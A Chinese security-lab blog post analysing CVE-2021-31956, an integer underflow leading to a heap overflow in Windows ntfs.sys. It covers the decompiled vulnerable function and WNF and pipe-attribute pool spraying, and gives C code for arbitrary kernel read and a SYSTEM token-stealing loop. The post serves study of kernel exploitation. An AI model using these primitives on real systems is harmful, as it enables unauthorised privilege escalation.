CVE-2021-31956漏洞分析 | 京东探索研究院信息安全实验室

CVE-2021-31956是微软2021年6月份披露的一个内核堆溢出漏洞，攻击者可以利用此漏洞实现本地权限提升，nccgroup的博客已经进行了详细的利用分析，不过并没有贴出exploit的源代码。

本篇文章记录一下自己学习windows exploit的过程，使用的利用技巧和nccgroup提到的大同小异，仅供学习参考。

漏洞定位在windows的NTFS文件系统驱动上(C:\Windows\System32\drivers\ntfs.sys)，NTFS文件系统允许为每一个文件额外存储若干个键值对属性，称之为EA(Extend Attribution) 。从微软的开发文档上可以查出，有一些系统调用是用来处理键值对的读写操作。


NTSTATUS ZwSetEaFile(
  [in]  HANDLE           FileHandle,
  [out] PIO_STATUS_BLOCK IoStatusBlock,
  [in]  PVOID            Buffer,
  [in]  ULONG            Length
);

NTSTATUS ZwQueryEaFile(
  [in]           HANDLE           FileHandle,
  [out]          PIO_STATUS_BLOCK IoStatusBlock,
  [out]          PVOID            Buffer, 
  [in]           ULONG            Length,
  [in]           BOOLEAN          ReturnSingleEntry,
  [in, optional] PVOID            EaList, 
  [in]           ULONG            EaListLength,
  [in, optional] PULONG           EaIndex,
  [in]           BOOLEAN          RestartScan
);

typedef struct _FILE_GET_EA_INFORMATION {
  ULONG NextEntryOffset;
  UCHAR EaNameLength;
  CHAR  EaName[1];
} FILE_GET_EA_INFORMATION, *PFILE_GET_EA_INFORMATION;

typedef struct _FILE_FULL_EA_INFORMATION {
  ULONG  NextEntryOffset;
  UCHAR  Flags;
  UCHAR  EaNameLength;
  USHORT EaValueLength;
  CHAR   EaName[1];
} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION;

如下是查询EA的系统调用实现，查询时接收一个用户传入的字典的key集合eaList，将查询到的键值对写入到output_buffer。每次写完一个键值对，需要四字节对齐，函数内部维护了一个变量padding_length用来指示每次向output_buffer写入时需要额外填充的数据长度，同时维护了一个变量为output_buffer_length用来记录output_buffer剩余的可用空间。但是在【A】处写入键值对时并没有检查output_buffer_length是否大于padding_length，两个uint32相减以后发生整数溢出绕过检查，在后面memmove的时候实现任意长度，任意内容越界写。

_QWORD *__fastcall NtfsQueryEaUserEaList(_QWORD *a1, FILE_FULL_EA_INFORMATION *ea_blocks_for_file, __int64 a3, __int64 output_buffer, unsigned int output_buffer_length, PFILE_GET_EA_INFORMATION eaList, char a7)
{
  int v8; 
  ULONG eaList_iter; 
  unsigned int padding_length; 
  PFILE_GET_EA_INFORMATION current_ea; 
  ULONG v12; 
  UCHAR v13; 
  PFILE_GET_EA_INFORMATION i; 
  unsigned int output_idx_; 
  FILE_FULL_EA_INFORMATION *output_iter; 
  unsigned int current_ea_output_length; 
  unsigned int v18; 
  FILE_FULL_EA_INFORMATION *v20; 
  char v21; 
  ULONG next_iter; 
  unsigned int v23; 
  FILE_FULL_EA_INFORMATION *v24; 
  struct _STRING reqEaName; 
  STRING SourceString; 
  unsigned int output_idx; 

  v8 = 0;
  *a1 = 0i64;
  v24 = 0i64;
  eaList_iter = 0;
  output_idx = 0;
  padding_length = 0;
  a1[1] = 0i64;
  while ( 1 )
  {
    current_ea = (PFILE_GET_EA_INFORMATION)((char *)eaList + eaList_iter);
    *(_QWORD *)&reqEaName.Length = 0i64;
    reqEaName.Buffer = 0i64;
    *(_QWORD *)&SourceString.Length = 0i64;
    SourceString.Buffer = 0i64;
    *(_QWORD *)&reqEaName.Length = current_ea->EaNameLength;
    reqEaName.MaximumLength = reqEaName.Length;
    reqEaName.Buffer = current_ea->EaName;
    RtlUpperString(&reqEaName, &reqEaName);
    if ( !NtfsIsEaNameValid(&reqEaName) )
      break;
    v12 = current_ea->NextEntryOffset;
    v13 = current_ea->EaNameLength;
    next_iter = current_ea->NextEntryOffset + eaList_iter;
    for ( i = eaList; ; i = (PFILE_GET_EA_INFORMATION)((char *)i + i->NextEntryOffset) )
    {
      if ( i == current_ea )
      {
        output_idx_ = output_idx;
        output_iter = (FILE_FULL_EA_INFORMATION *)(output_buffer + padding_length + output_idx);
        if ( NtfsLocateEaByName((__int64)ea_blocks_for_file, *(_DWORD *)(a3 + 4), &reqEaName, &v23) )
        {                                       
          v20 = (FILE_FULL_EA_INFORMATION *)((char *)ea_blocks_for_file + v23);
          current_ea_output_length = v20->EaValueLength + v20->EaNameLength + 9;
          if ( current_ea_output_length <= output_buffer_length - padding_length )                   
          {
            memmove(output_iter, v20, current_ea_output_length);
            output_iter->NextEntryOffset = 0;
            goto LABEL_8;
          }
        }
        else
        {                                       
          current_ea_output_length = current_ea->EaNameLength + 9;
          if ( current_ea_output_length + padding_length <= output_buffer_length )
          {
            output_iter->NextEntryOffset = 0;
            output_iter->Flags = 0;
            output_iter->EaNameLength = current_ea->EaNameLength;
            output_iter->EaValueLength = 0;
            memmove(output_iter->EaName, current_ea->EaName, current_ea->EaNameLength);
            SourceString.Length = reqEaName.Length;
            SourceString.MaximumLength = reqEaName.Length;
            SourceString.Buffer = output_iter->EaName;
            RtlUpperString(&SourceString, &SourceString);
            output_idx_ = output_idx;
            output_iter->EaName[current_ea->EaNameLength] = 0;
LABEL_8:
            v18 = current_ea_output_length + padding_length + output_idx_;
            output_idx = v18;
            if ( !a7 )
            {
              if ( v24 )
                v24->NextEntryOffset = (_DWORD)output_iter - (_DWORD)v24;
              if ( current_ea->NextEntryOffset )
              {
                v24 = output_iter;
                output_buffer_length -= current_ea_output_length + padding_length;
                padding_length = ((current_ea_output_length + 3) & 0xFFFFFFFC) - current_ea_output_length;
                goto LABEL_26;
              }
            }
...

在具体介绍利用之前，需要先简单了解一下windows的堆分配算法。Windows10引入了新的方式进行堆块管理，称为Segment Heap，这里有篇文章对此进行了详细的描述https://www.sstic.org/media/SSTIC2020/SSTIC-actes/pool_overflow_exploitation_since_windows_10_19h1/SSTIC2020-Article-pool_overflow_exploitation_since_windows_10_19h1-bayet_fariello.pdf。

每个堆块有个堆头用来记录元信息，占据了16个字节，结构如下。

typedef struct {
	char previousSize;
	char poolIndex;
	char blockSize;
	char poolType;
	int tag;
	void* processBilled;
}PoolHeader;

¶相对偏移地址读写

这个漏洞里，越界对象output_buffer是系统临时申请的堆块，系统调用结束以后会被立即释放，不能持久化保存，这导致SegmentHeap Aligned Chunk Confusion的方法在这里并不适用。通过实验发现windows在free时的检查并不严格，通过合理控制越界内容，破坏掉下一个堆块的PoolHeader以后，并不会触发异常，这允许我们直接覆盖下一个堆块的数据，接下来的目标就是挑选合适的被攻击堆块对象。

通过查阅资料，我找到了一个用户可以自定义大小的结构体_WNF_STATE_DATA。关于WNF的实际用法，微软并没有提供官方的说明文档，这里不展开介绍，只用把它理解成一个内核实现的数据存储器即可。通过NtCreateWnfStateName创建一个WNF对象实例，实例的数据结构为_WNF_NAME_INSTANCE；通过NtUpdateWnfStateData可以往对象里写入数据，使用_WNF_STATE_DATA数据结构存储写入的内容；通过NtQueryWnfStateData可以读取之前写入的数据，通过NtDeleteWnfStateData可以释放掉这个对象。


struct _WNF_NAME_INSTANCE
{
    struct _WNF_NODE_HEADER Header;                                         
    struct _EX_RUNDOWN_REF RunRef;                                          
    struct _RTL_BALANCED_NODE TreeLinks;                                    
    struct _WNF_STATE_NAME_STRUCT StateName;                                
    struct _WNF_SCOPE_INSTANCE* ScopeInstance;                              
    struct _WNF_STATE_NAME_REGISTRATION StateNameInfo;                      
    struct _WNF_LOCK StateDataLock;                                         
    struct _WNF_STATE_DATA* StateData;                                      
    ULONG CurrentChangeStamp;                                               
    VOID* PermanentDataStore;                                               
    struct _WNF_LOCK StateSubscriptionListLock;                             
    struct _LIST_ENTRY StateSubscriptionListHead;                           
    struct _LIST_ENTRY TemporaryNameListEntry;                              
    struct _EPROCESS* CreatorProcess;                                       
    LONG DataSubscribersCount;                                              
    LONG CurrentDeliveryCount;                                              
};
struct _WNF_STATE_DATA
{
    struct _WNF_NODE_HEADER Header;                                         
    ULONG AllocatedSize;                                                    
    ULONG DataSize;                                                         
    ULONG ChangeStamp;                                                      
};

举例说明，WNF数据在内核里的保存方式如下所示

1: kd> dd ffffdd841d4b6850
ffffdd84`1d4b6850  0b0c0000 20666e57 25a80214 73ca76c5      
ffffdd84`1d4b6860  00100904 000000a0 000000a0 00000001      
ffffdd84`1d4b6870  61616161 61616161 61616161 61616161      
ffffdd84`1d4b6880  61616161 61616161 61616161 61616161
ffffdd84`1d4b6890  61616161 61616161 61616161 61616161
ffffdd84`1d4b68a0  61616161 61616161 61616161 61616161
ffffdd84`1d4b68b0  61616161 61616161 61616161 61616161
ffffdd84`1d4b68c0  61616161 61616161 61616161 61616161

通过喷堆，控制堆布局如下，NtFE是可以越界写的 chunk，后面紧挨着的是_WNF_STATE_DATA数据结构。越界修改结构体里的DataSize对象，接下来调用NtQueryWnfStateData实现相对偏移地址读写。

0: kd> g
Breakpoint 1 hit
Ntfs!NtfsQueryEaUserEaList:
fffff802`3d2a8990 4c894c2420      mov     qword ptr [rsp+20h],r9
1: kd> !pool r9
Pool page ffffdd841d4b67a0 region is Paged pool
 ffffdd841d4b6010 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b60d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6190 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6250 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6310 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b63d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6490 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6550 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6610 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b66d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
*ffffdd841d4b6790 size:   c0 previous size:    0  (Allocated) *NtFE
		Pooltag NtFE : Ea.c, Binary : ntfs.sys
 ffffdd841d4b6850 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6910 size:   c0 previous size:    0  (Free)       ....
 ffffdd841d4b69d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6a90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6b50 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6c10 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6cd0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6d90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6e50 size:   c0 previous size:    0  (Free)       ....
 ffffdd841d4b6f10 size:   c0 previous size:    0  (Free)       ....

被篡改过后的_WNF_STATE_DATA 数据结构

1: kd> dd ffffdd841d4b6850
ffffdd84`1d4b6850  030c0000 41414141 00000000 00000000  
ffffdd84`1d4b6860  00000000 0000ffff 000003cc 00000000  
ffffdd84`1d4b6870  61616161 61616161 61616161 61616161
ffffdd84`1d4b6880  61616161 61616161 61616161 61616161
ffffdd84`1d4b6890  61616161 61616161 61616161 61616161
ffffdd84`1d4b68a0  61616161 61616161 61616161 61616161
ffffdd84`1d4b68b0  61616161 61616161 61616161 61616161
ffffdd84`1d4b68c0  61616161 61616161 61616161 61616161

接下来讲述如何将相对偏移读写转换为任意地址读写。

¶任意地址读

我们需要使用到另外一个数据结构PipeAttribution，和WNF类似，这个对象可以自定义大小。这里两个指针AttributeName、AttributeValue 正常情况下是指向PipeAttribute.data[]后面的，如果通过堆布局，将AttributeValue的指针该为任意地址，就可以实现任意地址读。遗憾的是，windows并没有提供直接更新该数据结构的功能，不能通过该方法进行任意地址写。

struct PipeAttribute {
	LIST_ENTRY list;
	char * AttributeName;
	uint64_t AttributeValueSize ;
	char * AttributeValue ;
	char data [0];
};
typedef struct {
	HANDLE read;
	HANDLE write;
} PIPES;

void pipe_init(PIPES* pipes) {
	if (!CreatePipe(&pipes->read, &pipes->write, NULL, 0x1000)) {
		printf("createPipe fail\n");
		return 1;
	}
	return 0;
}

int pipe_write_attr(PIPES* pipes, char* name, void* value, int total_size) {
	size_t length = strlen(name);
	memcpy(tmp_buffer, name, length + 1);
	memcpy(tmp_buffer + length + 1, value, total_size - length - 1);
	IO_STATUS_BLOCK  statusblock;
	char output[0x100];
	int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
		&statusblock, 0x11003C, tmp_buffer, total_size,
		output, sizeof(output));
	if (!NT_SUCCESS(mystatus)) {
		printf("pipe_write_attr fail 0x%x\n", mystatus);
		return 1;
	}
	return 0;
}

int pipe_read_attr(PIPES* pipes, char* name, char* output,int size) {
	IO_STATUS_BLOCK statusblock;
	int mystatus = NtFsControlFile(pipes->write, NULL, NULL, NULL,
		&statusblock, 0x110038, name,strlen(name)+1,
		output, size);
	if (!NT_SUCCESS(mystatus)) {
		printf("pipe_read_attr fail 0x%x\n", mystatus);
		return 1;
	}
	return 0;
}

理想情况下的堆布局如下所示，ffffdd841d4b6850是之前被覆盖的_WNF_STATE_DATA对象，其余的chunk被释放，然后使用PipeAttribution对象堆喷重新占回。

1: kd> !pool ffffdd841d4b6850
Pool page ffffdd841d4b6850 region is Paged pool
 ffffdd841d4b6010 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b60d0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6190 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6250 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6310 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b63d0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6490 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6550 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6610 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b66d0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6790 size:   c0 previous size:    0  (Free)       NpAt
*ffffdd841d4b6850 size:   c0 previous size:    0  (Allocated) *AAAA
		Owning component : Unknown (update pooltag.txt)
 ffffdd841d4b6910 size:   c0 previous size:    0  (Allocated)  NpAt  
 ffffdd841d4b69d0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6a90 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6b50 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6c10 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6cd0 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6d90 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6e50 size:   c0 previous size:    0  (Free)       NpAt
 ffffdd841d4b6f10 size:   c0 previous size:    0  (Free)       NpAt
1: kd> dq ffffdd841d4b6910 
ffffdd84`1d4b6910  7441704e`030c0000 00000000`00000000              
ffffdd84`1d4b6920  ffffdd84`1c8e6cb0 ffffdd84`1c8e6cb0              
ffffdd84`1d4b6930  ffffdd84`1d4b6948 00000000`00000078              
ffffdd84`1d4b6940  ffffdd84`1d4b6950 00313330`315f6161              
ffffdd84`1d4b6950  61616161`00000407 61616161`61616161
ffffdd84`1d4b6960  61616161`61616161 61616161`61616161
ffffdd84`1d4b6970  61616161`61616161 61616161`61616161
ffffdd84`1d4b6980  61616161`61616161 61616161`61616161

根据上面讲述的方法实现任意地址读函数

int ab_read(void* addr, void* dst, int size) {
	WNF_CHANGE_STAMP stamp;
	char readData[0x400];
	ULONG readDataSize = sizeof(readData);
	NTSTATUS st;
	static char wtf_buf[0x1000];
	st = NtQueryWnfStateData(oobst, 0, 0, &stamp, readData, &readDataSize);
	if (!NT_SUCCESS(st)) {
		DEBUG("NtQueryWnfStateData fail %x\n", st);
		return 1;
	}
	PipeAttr* pa = (PipeAttr*)(readData + CHUNK_SIZE);
	pa->value = addr;
	if (size < 0x20)
		pa->value_len = 0x100;
	else
		pa->value_len = size;
	st = NtUpdateWnfStateData(oobst, readData, readDataSize, 0, 0, 0, 0);
	if (!NT_SUCCESS(st)) {
		DEBUG("NtQueryWnfStateData fail %x\n", st);
		return 1;
	}
	if (pipe_read_attr(&pipes, attackName, wtf_buf, sizeof(wtf_buf))) {
		return 1;
	}
	memcpy(dst, wtf_buf, size);
	return 0;
}

¶任意地址写

我通过修改_WNF_NAME_INSTANCE结构体内的指针_WNF_STATE_DATA实现任意地址写。具体操作是再次释放掉原来的PipeAttribution，使用_WNF_NAME_INSTANCE重新进行堆喷，布局好的堆如下所示

1: kd> !pool ffffdd841d4b6850
Pool page ffffdd841d4b6850 region is Paged pool
 ffffdd841d4b6010 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b60d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6190 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6250 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6310 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b63d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6490 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6550 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6610 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b66d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6790 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
*ffffdd841d4b6850 size:   c0 previous size:    0  (Allocated) *AAAA
		Owning component : Unknown (update pooltag.txt)
 ffffdd841d4b6910 size:   c0 previous size:    0  (Allocated)  NpAt
 ffffdd841d4b69d0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0 
 ffffdd841d4b6a90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6b50 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6c10 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6cd0 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6d90 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6e50 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0
 ffffdd841d4b6f10 size:   c0 previous size:    0  (Allocated)  Wnf  Process: ffff878ff44c80c0

通过局部地址读写，覆盖掉下一个Wnf结构体（ffffdd841d4b69d0 ）里的_WNF_STATE_DATA，使用对应的结构体进行NtUpdateWnfStateData操作，即可实现任意地址写。

¶Windows权限提升

windows权限提升的方法一般都是遍历进程链表，找到高权限进程的token（8字节），替换当前进程的token。


  ULONGLONG token_addr = eprocess + token_offset;
	UCHAR* begin_eprocess = eprocess;
	while (1) {
		ULONGLONG process_id;
		ab_read(eprocess + process_id_offset, &process_id, 8);
		if (process_id == 4) {
			break;
		}
		UCHAR* tmp;
		ab_read(eprocess + link_offset, &tmp, 8);
		tmp -= link_offset;
		if (tmp == begin_eprocess) {
			break;
		}
		eprocess = tmp;
	}
	ULONGLONG token;
	ab_read(eprocess + token_offset,&token, 8);
	DEBUG("system token %016llx\n", token);

最后执行cmd。

该漏洞的触发条件并不复杂，利用过程也比较简单，虽然windows的堆分配已经有了很大的随机化，但是大力出奇迹，很容易能够得到理想的堆布局，本地实验过程中的exp基本很少将系统打崩溃。写exp的主要时间是在学习windows系统调用如何传参，查阅了很多文档才搞清楚WNF的用法。总体来说难度不大，非常适合初学者入门。